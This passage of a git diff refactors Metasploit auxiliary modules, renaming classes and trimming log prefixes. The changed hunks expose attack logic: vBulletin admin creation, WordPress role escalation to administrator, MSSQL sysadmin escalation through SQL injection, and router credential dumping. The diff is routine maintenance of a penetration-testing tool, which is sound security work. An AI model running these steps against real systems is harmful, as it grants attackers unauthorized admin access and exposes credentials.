3e43c502d6..90f8a5105c 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_002.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_002.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index 69db942e3a..1958ef82f4 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'thread' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index e908b1bd14..596d5a0806 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index b9efc4ae7f..93b7c1351b 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -79,11 +79,11 @@ class Metasploit3 < Msf::Auxiliary def run if user == pass - print_error("#{peer} - Please select a password different than the username") + print_error("Please select a password different than the username") return end - print_status("#{peer} - Trying a new admin vBulletin account...") + print_status("Trying a new admin vBulletin account...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "install", "upgrade.php"), @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body =~ /Administrator account created/ - print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") + print_good("Admin account with credentials #{user}:#{pass} successfully created") report_cred( ip: rhost, port: rport, @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary proof: res.body ) else - print_error("#{peer} - Admin account creation failed") + print_error("Admin account creation failed") end end end diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index b86b2ee014..46f6a33d20 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HTTP::Wordpress @@ -93,13 +93,13 @@ class Metasploit3 < Msf::Auxiliary username = Rex::Text.rand_text_alpha(10) password = Rex::Text.rand_text_alpha(20) - print_status("#{peer} - Trying to get table_prefix") + print_status("Trying to get table_prefix") table_prefix = get_table_prefix if table_prefix.nil? - print_error("#{peer} - Unable to get table_prefix") + print_error("Unable to get table_prefix") return else - print_status("#{peer} - got table_prefix '#{table_prefix}'") + print_status("got table_prefix '#{table_prefix}'") end data = Rex::MIME::Message.new @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary data.add_part('1', nil, nil, 'form-data; name="ccf_merge_import"') post_data = data.to_s - print_status("#{peer} - Inserting user #{username} with password #{password}") + print_status("Inserting user #{username} with password #{password}") res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_post, @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary # login successfull if cookie - print_status("#{peer} - User #{username} with password #{password} successfully created") + print_status("User #{username} with password #{password} successfully created") report_cred( ip: rhost, port: rport, @@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary proof: cookie ) else - print_error("#{peer} - User creation failed") + print_error("User creation failed") return end end diff --git a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb index 2a8c26fba6..3897eb9730 100644 --- a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) @@ -65,44 +65,44 @@ class Metasploit3 < Msf::Auxiliary ) if res.nil? - vprint_error("#{peer} - No response from the target.") + vprint_error("No response from the target.") elsif res.code != 200 - vprint_warning("#{peer} - Server responded with status code #{res.code}") + vprint_warning("Server responded with status code #{res.code}") end res end def run - print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") + print_status("Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) if cookie.nil? - print_error("#{peer} - Failed to authenticate with WordPress") + print_error("Failed to authenticate with WordPress") return end - print_good("#{peer} - Authenticated with WordPress") + print_good("Authenticated with WordPress") new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" - print_status("#{peer} - Changing admin e-mail address to #{new_email}...") + print_status("Changing admin e-mail address to #{new_email}...") if set_wp_option('admin_email', new_email, cookie).nil? - print_error("#{peer} - Failed to change the admin e-mail address") + print_error("Failed to change the admin e-mail address") return end - print_status("#{peer} - Enabling user registrations...") + print_status("Enabling user registrations...") if set_wp_option('users_can_register', 1, cookie).nil? - print_error("#{peer} - Failed to enable user registrations") + print_error("Failed to enable user registrations") return end - print_status("#{peer} - Setting the default user role...") + print_status("Setting the default user role...") if set_wp_option('default_role', 'administrator', cookie).nil? - print_error("#{peer} - Failed to set the default user role") + print_error("Failed to set the default user role") return end register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') - print_good("#{peer} - Privilege escalation complete") - print_good("#{peer} - Create a new account at #{register_url} to gain admin access.") + print_good("Privilege escalation complete") + print_good("Create a new account at #{register_url} to gain admin access.") end end diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb index 2fada64417..e60e2c2049 100644 --- a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary def set_wp_option(name, value, cookie) encoded_value = serialize_and_encode(value) if encoded_value.nil? - vprint_error("#{peer} - Failed to serialize #{value}.") + vprint_error("Failed to serialize #{value}.") else res = send_request_cgi( 'method' => 'POST', @@ -87,9 +87,9 @@ class Metasploit3 < Msf::Auxiliary ) if res.nil? - vprint_error("#{peer} - No response from the target.") + vprint_error("No response from the target.") else - vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200 + vprint_warning("Server responded with status code #{res.code}") if res.code != 200 end return res @@ -97,29 +97,29 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") + print_status("Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? - print_good("#{peer} - Authenticated with WordPress") + print_good("Authenticated with WordPress") new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" - print_status("#{peer} - Changing admin e-mail address to #{new_email}...") + print_status("Changing admin e-mail address to #{new_email}...") if set_wp_option('admin_email', new_email, cookie).nil? fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') end - print_status("#{peer} - Enabling user registrations...") + print_status("Enabling user registrations...") if set_wp_option('users_can_register', 1, cookie).nil? fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') end - print_status("#{peer} - Setting the default user role...") + print_status("Setting the default user role...") if set_wp_option('default_role', 'administrator', cookie).nil? fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') end register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') - print_good("#{peer} - Privilege escalation complete") - print_good("#{peer} - Create a new account at #{register_url} to gain admin access.") + print_good("Privilege escalation complete") + print_good("Create a new account at #{register_url} to gain admin access.") end end diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index ec3ce10323..d920351496 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index 6c8f0d29c3..a9ed6fac2d 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Kerberos::Client diff --git a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb index 27b931c1a7..fb9f275d2f 100644 --- a/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb +++ b/modules/auxiliary/admin/maxdb/maxdb_cons_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 0ef51aa38a..e52ab58061 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Attempting to connect and check endianess...") + print_status("Attempting to connect and check endianess...") @endianess = fingerprint_endian @credentials = {} @@ -72,18 +72,18 @@ class Metasploit3 < Msf::Auxiliary print_error("Failed to check endianess, aborting...") return end - print_good("#{peer} - #{string_endianess} device found...") + print_good("#{string_endianess} device found...") - print_status("#{peer} - Attempting to connect and dump configuration...") + print_status("Attempting to connect and dump configuration...") config = dump_configuration if config.nil? - print_status("#{peer} - Error retrieving configuration, aborting...") + print_status("Error retrieving configuration, aborting...") return end loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations") - print_status("#{peer} - Router configuration dump stored in: #{loot_file}") + print_status("Router configuration dump stored in: #{loot_file}") parse_configuration(config[:data]) end @@ -175,7 +175,7 @@ class Metasploit3 < Msf::Auxiliary disconnect if res.blank? - vprint_error("#{peer} - No answer...") + vprint_error("No answer...") return end @@ -186,17 +186,17 @@ class Metasploit3 < Msf::Auxiliary end unless mark == 0x4d4d6353 - vprint_error("#{peer} - Incorrect mark when reading response") + vprint_error("Incorrect mark when reading response") return nil end unless zero == 0 - vprint_error("#{peer} - Incorrect zero when reading response") + vprint_error("Incorrect zero when reading response") return nil end unless length == data.length - vprint_warning("#{peer} - Inconsistent length / data packet") + vprint_warning("Inconsistent length / data packet") # return nil end @@ -222,7 +222,7 @@ class Metasploit3 < Msf::Auxiliary @credentials.each do |k,v| next unless v[:user] and v[:password] - print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") + print_status("#{k}: User: #{v[:user]} Pass: #{v[:password]}") report_cred( ip: rhost, port: rport, @@ -239,7 +239,7 @@ class Metasploit3 < Msf::Auxiliary SETTINGS['General'].each do |regex| if config.match(regex[1]) value = $1 - print_status("#{peer} - #{regex[0]}: #{value}") + print_status("#{regex[0]}: #{value}") end end end diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb index 8afcd0100e..276d8fe96d 100644 --- a/modules/auxiliary/admin/misc/wol.rb +++ b/modules/auxiliary/admin/misc/wol.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/admin/motorola/wr850g_cred.rb b/modules/auxiliary/admin/motorola/wr850g_cred.rb index 187b8a7d25..2b0f191a33 100644 --- a/modules/auxiliary/admin/motorola/wr850g_cred.rb +++ b/modules/auxiliary/admin/motorola/wr850g_cred.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/admin/ms/ms08_059_his2006.rb b/modules/auxiliary/admin/ms/ms08_059_his2006.rb index d067729154..326a510db4 100644 --- a/modules/auxiliary/admin/ms/ms08_059_his2006.rb +++ b/modules/auxiliary/admin/ms/ms08_059_his2006.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/admin/mssql/mssql_enum.rb b/modules/auxiliary/admin/mssql/mssql_enum.rb index b7272a17cc..cd0ff5e1ec 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Running MS SQL Server Enumeration...") - if mssql_login_datastore == false + if !mssql_login_datastore print_error("Login was unsuccessful. Check your credentials.") disconnect return diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb index 27ad860676..dd4f419e52 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb index 83a8d2d1ec..aef9b655ff 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL_SQLI include Msf::Auxiliary::Report @@ -39,49 +39,49 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Grabbing the SQL Server name and domain...") + print_status("Grabbing the SQL Server name and domain...") db_server_name = get_server_name if db_server_name.nil? - print_error("#{peer} - Unable to grab the server name") + print_error("Unable to grab the server name") return else - print_good("#{peer} - Server name: #{db_server_name}") + print_good("Server name: #{db_server_name}") end db_domain_name = get_domain_name if db_domain_name.nil? - print_error("#{peer} - Unable to grab domain name") + print_error("Unable to grab domain name") return end # Check if server is on a domain if db_server_name == db_domain_name - print_error("#{peer} - The SQL Server does not appear to be part of a Windows domain") + print_error("The SQL Server does not appear to be part of a Windows domain") return else - print_good("#{peer} - Domain name: #{db_domain_name}") + print_good("Domain name: #{db_domain_name}") end - print_status("#{peer} - Grabbing the SID for the domain...") + print_status("Grabbing the SID for the domain...") windows_domain_sid = get_windows_domain_sid(db_domain_name) if windows_domain_sid.nil? - print_error("#{peer} - Could not recover the SQL Server's domain sid.") + print_error("Could not recover the SQL Server's domain sid.") return else - print_good("#{peer} - Domain sid: #{windows_domain_sid}") + print_good("Domain sid: #{windows_domain_sid}") end # Get a list of windows users, groups, and computer accounts using SUSER_NAME() total_rids = datastore['END_RID'] - datastore['START_RID'] - print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...") + print_status("Brute forcing #{total_rids} RIDs via SQL injection, be patient...") domain_users = get_win_domain_users(windows_domain_sid) if domain_users.nil? - print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.") + print_error("Sorry, no Windows domain accounts were found, or DC could not be contacted.") return end # Print number of objects found and write to a file - print_good("#{peer} - #{domain_users.length} user accounts, groups, and computer accounts were found.") + print_good("#{domain_users.length} user accounts, groups, and computer accounts were found.") # Create table for report windows_domain_login_table = Rex::Ui::Text::Table.new( @@ -179,7 +179,7 @@ class Metasploit3 < Msf::Auxiliary (datastore['START_RID']..datastore['END_RID']).each do |principal_id| rid_diff = principal_id - datastore['START_RID'] if principal_id % 100 == 0 - print_status("#{peer} - #{rid_diff} of #{total_rids } RID queries complete") + print_status("#{rid_diff} of #{total_rids } RID queries complete") end user_sid = build_user_sid(domain_sid, principal_id) @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Auxiliary unless windows_login.empty? || windows_logins.include?(windows_login) windows_logins.push(windows_login) - print_good("#{peer} - #{windows_login}") + print_good(" #{windows_login}") end end diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index dd90b59eef..be1343ef33 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index f691a81169..254d745a02 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb index 320c1850a6..979886b01e 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL_SQLI include Msf::Auxiliary::Report @@ -30,62 +30,62 @@ class Metasploit3 < Msf::Auxiliary def run # Get the database user name - print_status("#{peer} - Grabbing the database user name from ...") + print_status("Grabbing the database user name from ...") db_user = get_username if db_user.nil? - print_error("#{peer} - Unable to grab user name...") + print_error("Unable to grab user name...") return else - print_good("#{peer} - Database user: #{db_user}") + print_good("Database user: #{db_user}") end # Grab sysadmin status - print_status("#{peer} - Checking if #{db_user} is already a sysadmin...") + print_status("Checking if #{db_user} is already a sysadmin...") admin_status = check_sysadmin if admin_status.nil? - print_error("#{peer} - Couldn't retrieve user status, aborting...") + print_error("Couldn't retrieve user status, aborting...") return elsif admin_status == '1' - print_error("#{peer} - #{db_user} is already a sysadmin, no esclation needed.") + print_error("#{db_user} is already a sysadmin, no esclation needed.") return else - print_good("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.") + print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.") end # Check for trusted databases owned by sysadmins - print_status("#{peer} - Checking for trusted databases owned by sysadmins...") + print_status("Checking for trusted databases owned by sysadmins...") trust_db_list = check_trust_dbs if trust_db_list.nil? || trust_db_list.length == 0 - print_error("#{peer} - No databases owned by sysadmin were found flagged as trustworthy.") + print_error("No databases owned by sysadmin were found flagged as trustworthy.") return else # Display list of accessible databases to user - print_good("#{peer} - #{trust_db_list.length} affected database(s) were found:") + print_good("#{trust_db_list.length} affected database(s) were found:") trust_db_list.each do |db| print_status(" - #{db}") end end # Check if the user has the db_owner role in any of the databases - print_status("#{peer} - Checking if #{db_user} has the db_owner role in any of them...") + print_status("Checking if #{db_user} has the db_owner role in any of them...") owner_status = check_db_owner(trust_db_list) if owner_status.nil? - print_error("#{peer} - Fail buckets, the user doesn't have db_owner role anywhere.") + print_error("Fail buckets, the user doesn't have db_owner role anywhere.") return else - print_good("#{peer} - #{db_user} has the db_owner role on #{owner_status}.") + print_good("#{db_user} has the db_owner role on #{owner_status}.") end # Attempt to escalate to sysadmin - print_status("#{peer} - Attempting to add #{db_user} to sysadmin role...") + print_status("Attempting to add #{db_user} to sysadmin role...") escalate_privs(owner_status, db_user) admin_status = check_sysadmin if admin_status && admin_status == '1' - print_good("#{peer} - Success! #{db_user} is now a sysadmin!") + print_good("Success! #{db_user} is now a sysadmin!") else - print_error("#{peer} - Fail buckets, something went wrong.") + print_error("Fail buckets, something went wrong.") end end diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index bd5d6ade57..4862f91e68 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb index 346efa1109..e47f479dc2 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/mssql_commands' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL_SQLI include Msf::Auxiliary::Report @@ -28,60 +28,60 @@ class Metasploit3 < Msf::Auxiliary def run # Get the database user name - print_status("#{peer} - Grabbing the database user name...") + print_status("Grabbing the database user name...") db_user = get_username if db_user.nil? - print_error("#{peer} - Unable to grab user name...") + print_error("Unable to grab user name...") return else - print_good("#{peer} - Database user: #{db_user}") + print_good("Database user: #{db_user}") end # Grab sysadmin status - print_status("#{peer} - Checking if #{db_user} is already a sysadmin...") + print_status("Checking if #{db_user} is already a sysadmin...") admin_status = check_sysadmin if admin_status.nil? - print_error("#{peer} - Couldn't retrieve user status, aborting...") + print_error("Couldn't retrieve user status, aborting...") return elsif admin_status == '1' - print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.") + print_error("#{db_user} is already a sysadmin, no escalation needed.") return else - print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.") + print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.") end # Get list of users that can be impersonated - print_status("#{peer} - Enumerating a list of users that can be impersonated...") + print_status("Enumerating a list of users that can be impersonated...") imp_user_list = check_imp_users if imp_user_list.nil? || imp_user_list.empty? - print_error("#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.") + print_error("Sorry, the current user doesnt have permissions to impersonate anyone.") return else # Display list of users that can be impersonated - print_good("#{peer} - #{imp_user_list.length} users can be impersonated:") + print_good("#{imp_user_list.length} users can be impersonated:") imp_user_list.each do |dbuser| - print_status("#{peer} - #{dbuser}") + print_status(" #{dbuser}") end end # Check if any of the users that can be impersonated are sysadmins - print_status("#{peer} - Checking if any of them are sysadmins...") + print_status("Checking if any of them are sysadmins...") imp_user_sysadmin = check_imp_sysadmin(imp_user_list) if imp_user_sysadmin.nil? - print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.") + print_error("Sorry, none of the users that can be impersonated are sysadmins.") return end # Attempt to escalate to sysadmin - print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...") + print_status("Attempting to impersonate #{imp_user_sysadmin}...") escalate_privs(imp_user_sysadmin,db_user) admin_status = check_sysadmin if admin_status && admin_status == '1' - print_good("#{peer} - Success! #{db_user} is now a sysadmin!") + print_good("Success! #{db_user} is now a sysadmin!") else - print_error("#{peer} - Fail buckets, something went wrong.") + print_error("Fail buckets, something went wrong.") end end @@ -179,10 +179,10 @@ class Metasploit3 < Msf::Auxiliary # check if user is a sysadmin if parsed_result && parsed_result[0] == '1' - print_good("#{peer} - #{imp_user} is a sysadmin!") + print_good(" #{imp_user} is a sysadmin!") return imp_user else - print_status("#{peer} - #{imp_user} is NOT a sysadmin") + print_status(" #{imp_user} is NOT a sysadmin") end end diff --git a/modules/auxiliary/admin/mssql/mssql_exec.rb b/modules/auxiliary/admin/mssql/mssql_exec.rb index c81ae1b467..bd8f29568e 100644 --- a/modules/auxiliary/admin/mssql/mssql_exec.rb +++ b/modules/auxiliary/admin/mssql/mssql_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index 976ce09e8b..457af07b52 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Scanner @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']), - OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', '1']), + OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]), ], self.class) end diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index f97100c2e9..262375cd2f 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -14,7 +14,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index 689739c228..117abf5007 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index 4b4c796a25..446dea3009 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL_SQLI diff --git a/modules/auxiliary/admin/mssql/mssql_sql.rb b/modules/auxiliary/admin/mssql/mssql_sql.rb index 0ace058218..c6b54c2c7a 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git a/modules/auxiliary/admin/mssql/mssql_sql_file.rb b/modules/auxiliary/admin/mssql/mssql_sql_file.rb index 8c64f49cca..8cfa8c907b 100644 --- a/modules/auxiliary/admin/mssql/mssql_sql_file.rb +++ b/modules/auxiliary/admin/mssql/mssql_sql_file.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL diff --git 